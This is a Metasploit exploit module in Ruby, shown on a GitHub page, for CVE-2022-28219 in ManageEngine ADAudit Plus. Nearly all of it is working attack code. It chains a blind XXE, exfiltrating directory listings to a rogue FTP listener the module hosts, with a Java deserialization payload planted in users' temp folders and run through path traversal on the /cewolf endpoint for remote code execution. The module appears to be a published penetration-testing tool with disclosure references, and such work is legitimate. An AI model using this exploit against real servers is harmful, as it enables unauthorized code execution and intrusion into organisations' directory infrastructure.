-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
manageengine_adaudit_plus_cve_2022_28219.rb
449 lines (387 loc) · 15.6 KB
/
manageengine_adaudit_plus_cve_2022_28219.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
include Msf::Handler::Reverse::Comm
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',
'Description' => %q{
This module exploits CVE-2022-28219, which is a pair of
vulnerabilities in ManageEngine ADAudit Plus versions before build
7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
to upload and execute an executable file.
},
'Author' => [
'Naveen Sunkavally', # Initial PoC + disclosure
'Ron Bowes', # Analysis and module
],
'References' => [
['CVE', '2022-28219'],
['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],
['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],
['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],
],
'DisclosureDate' => '2022-06-29',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8081
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),
OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),
OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),
OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),
OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),
])
register_advanced_options([
OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),
OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),
OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),
])
end
def srv_host
if (datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::')
return datastore['URIHOST'] || Rex::Socket.source_address(rhost)
end
return datastore['SRVHOST']
end
def check
# Make sure it's ADAudit Plus by requesting the root and checking the title
res1 = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
unless res1
return CheckCode::Unknown('Target failed to respond to check.')
end
unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)
return CheckCode::Safe('Does not appear to be ADAudit Plus')
end
# Check if it's a vulnerable version (the patch removes the /cewolf endpoint
# entirely)
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")
)
unless res2
return CheckCode::Unknown('Target failed to respond to check.')
end
unless res2.code == 200
return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')
end
CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')
end
def exploit
# List the /users folder - this is good to do first, since we can fail early
# if something isn't working
vprint_status('Attempting to exploit XXE to get a list of users')
users = get_directory_listing('/users')
unless users
fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')
end
# Remove common users
users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']
if users.empty?
fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')
end
print_status("User accounts discovered: #{users.join(', ')}")
# I can't figure out how to properly encode spaces, but using the 8.3
# version works! This converts them
users.map do |u|
if u.include?(' ')
u = u.gsub(/ /, '')[0..6].upcase + '~1'
end
u
end
# Check the filesystem for existing payloads that we should ignore
vprint_status('Enumerating old payloads cached on the server (to skip later)')
existing_payloads = search_for_payloads(users)
# Create a serialized payload
begin
# Create a queue so we can detect when the payload is delivered
queue = Queue.new
# Upload payload to remote server
# (this spawns a thread we need to clean up)
print_status('Attempting to exploit XXE to store our serialized payload on the server')
t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)
# Wait for something to arrive in the queue (basically using it as a
# semaphor
vprint_status('Waiting for the payload to be sent to the target')
queue.pop # We don't need the result
# Get a list of possible payloads (never returns nil)
vprint_status("Trying to find our payload in all users' temp folders")
possible_payloads = search_for_payloads(users)
possible_payloads -= existing_payloads
# Make sure the payload exists
if possible_payloads.empty?
fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')
end
# If multiple payloads appeared, abort for safety
if possible_payloads.length > 1
fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")
end
# Execute the one payload
payload_path = possible_payloads.pop
print_status("Triggering payload: #{payload_path}...")
res = send_request_cgi(
'method' => 'GET',
'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"
)
if res&.code != 200
fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")
end
ensure
# Kill the upload thread
if t
begin
t.kill
rescue StandardError
# Do nothing if we fail to kill the thread
end
end
end
end
def get_directory_listing(folder)
print_status("Getting directory listing for #{folder} via XXE and FTP")
# Generate a unique callback URL
path = "/#{rand_text_alpha(rand(8..15))}.dtd"
full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"
# Send the username anonymous and no password so the server doesn't log in
# with the password "Java1.8.0_51@" which is detectable
# We use `end_tag` at the end so we can detect when the listing is over
end_tag = rand_text_alpha(rand(8..15))
ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"
serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")
# Start a server to handle the reverse FTP connection
ftp_server = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['SRVPORT_FTP'],
'LocalHost' => datastore['SRVHOST'],
'Comm' => select_comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
# Trigger the XXE to get file listings
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
'ctype' => 'application/json',
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")
)
if res&.code != 200
fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")
end
ftp_client = nil
begin
# Wait for a connection with a timeout
select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])
unless select_result && !select_result.empty?
print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")
return nil
end
# Accept the connection
ftp_client = ftp_server.accept
# Print a standard banner
ftp_client.print("220 Microsoft FTP Service\r\n")
# We need to flip this so we can get a directory listing over multiple packets
directory_listing = nil
loop do
select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])
# Check if we ran out of data
if !select_result || select_result.empty?
# If we got nothing, we're sad
if directory_listing.nil? || directory_listing.empty?
print_warning('Did not receive data from our reverse FTP connection')
return nil
end
# If we have data, we're happy and can break
break
end
# Receive the data that's waiting
data = ftp_client.recv(256)
if data.empty?
# If we got nothing, we're done receiving
break
end
# Match behavior with ftp://test.rebex.net
if data =~ /^USER ([a-zA-Z0-9_.-]*)/
ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")
elsif data =~ /^PASS /
ftp_client.print("230 User logged in.\r\n")
elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/
ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")
elsif data =~ /^EPSV ALL/
ftp_client.print("200 ESPV command successful.\r\n")
elsif data =~ /^EPSV/ # (no space)
ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")
elsif data =~ /^RETR (.*)/m
# Store the start of the listing
directory_listing = Regexp.last_match(1)
else
# Have we started receiving data?
# (Disable Rubocop, because I think it's way more confusing to
# continue the elsif train)
if directory_listing.nil? # rubocop:disable Style/IfInsideElse
# We shouldn't really get here, but if we do, just play dumb and
# keep the client talking
ftp_client.print("230 User logged in.\r\n")
else
# If we're receiving data, just append
directory_listing.concat(data)
end
end
# Break when we get the PORT command (this is faster than timing out,
# but doesn't always seem to work)
if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m
directory_listing = Regexp.last_match(1)
break
end
end
ensure
ftp_server.close
if ftp_client
ftp_client.close
end
end
# Handle FTP errors (which thankfully aren't as common as they used to be)
unless ftp_client
print_warning("Didn't receive expected FTP connection")
return nil
end
if directory_listing.nil? || directory_listing.empty?
vprint_warning('FTP client connected, but we did not receive any data over the socket')
return nil
end
# Remove PORT commands, split at \r\n or \n, and remove empty elements
directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)
end
def search_for_payloads(users)
return users.flat_map do |u|
dir = "/users/#{u}/appdata/local/temp"
# This will search for the payload, but right now just print stuff
listing = get_directory_listing(dir)
unless listing
vprint_warning("Couldn't get directory listing for #{dir}")
next []
end
listing
.select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }
.map { |f| File.join(dir, f) }
end
end
def upload_payload(payload, queue)
t = framework.threads.spawn('adaudit-payload-deliverer', false) do
c = nil
begin
# We use a TCP socket here so we can hold the socket open after the HTTP
# conversation has concluded. That way, the server caches the file in
# the user's temp folder while it waits for more data
http_server = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['SRVPORT_HTTP2'],
'LocalHost' => srv_host,
'Comm' => select_comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
# Wait for the reverse connection, with a timeout
select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])
unless select_result && !select_result.empty?
fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")
end
# Receive and discard the HTTP request
c = http_server.accept
c.recv(1024)
c.print "HTTP/1.1 200 OK\r\n"
c.print "Connection: keep-alive\r\n"
c.print "\r\n"
c.print payload
# This will notify the other thread that something has arrived
queue.push(true)
# This has to stay open as long as it takes to enumerate all users'
# directories to find then execute the payload. ~5 seconds works on
# a single-user system, but I increased this a lot for production.
# (This thread should be killed when the exploit completes in any case)
Rex.sleep(60)
ensure
http_server.close
if c
c.close
end
end
end
# Trigger the XXE to get file listings
path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
'ctype' => 'application/json',
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")
)
if res&.code != 200
fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")
end
return t
end
def serve_http_file(path, respond_with = '')
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({
'Uri' => {
'Proc' => proc do |cli, _req|
send_response(cli, respond_with)
end,
'Path' => path
}
})
datastore['SSL'] = true if ssl_restore
end
def create_json_request(xml_payload)
[
{
'DomainName' => datastore['domain'],
'EventCode' => 4688,
'EventType' => 0,
'TimeGenerated' => 0,
'Task Content' => xml_payload
}
].to_json
end
end